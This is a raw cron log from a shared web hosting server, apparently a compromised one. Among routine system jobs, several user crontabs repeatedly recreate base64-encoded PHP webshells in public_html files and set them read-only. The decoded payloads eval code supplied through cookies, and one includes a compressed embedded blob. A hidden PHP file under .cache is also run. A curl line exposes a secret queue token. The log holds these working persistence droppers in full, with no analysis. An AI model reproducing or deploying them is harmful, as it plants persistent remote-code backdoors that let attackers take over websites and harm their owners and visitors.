Mar  2 07:48:02 medusa CROND[29937]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 07:48:02 medusa CROND[29940]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 07:48:02 medusa CROND[29941]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 07:48:02 medusa CROND[29942]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 07:48:02 medusa CROND[29950]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 07:48:02 medusa CROND[29955]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 07:48:02 medusa CROND[29952]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  2 07:48:02 medusa CROND[29957]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 07:49:01 medusa CROND[14872]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 07:49:01 medusa CROND[14874]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 07:49:01 medusa CROND[14870]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 07:49:01 medusa CROND[14876]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 07:49:01 medusa CROND[14878]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 07:49:01 medusa CROND[14879]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 07:49:01 medusa CROND[14877]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  2 07:49:01 medusa CROND[14896]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 07:49:01 medusa CROND[14897]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 07:49:01 medusa CROND[14902]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 07:49:01 medusa CROND[14903]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 07:49:01 medusa CROND[14904]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 07:50:01 medusa CROND[29672]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux-xray-plugin-check.cronlock /usr/share/lvemanager-xray/plugins/install-xray-plugin.py --check > /dev/null 2>&1)
Mar  2 07:50:01 medusa CROND[29676]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 07:50:01 medusa CROND[29776]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 07:50:01 medusa CROND[29869]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Mar  2 07:50:01 medusa CROND[30049]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Mar  2 07:50:02 medusa CROND[30067]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  2 07:50:02 medusa CROND[30066]: (root) CMD (/nutscripts/control_exim.sh  >/dev/null 2>&1)
Mar  2 07:50:02 medusa CROND[30070]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 07:50:02 medusa CROND[30073]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 07:50:02 medusa CROND[30077]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 07:50:02 medusa CROND[30078]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 07:50:02 medusa CROND[30079]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  2 07:50:02 medusa CROND[30085]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Mar  2 07:50:02 medusa CROND[30083]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 07:50:02 medusa CROND[30089]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  2 07:50:02 medusa CROND[30117]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 07:50:02 medusa CROND[30120]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
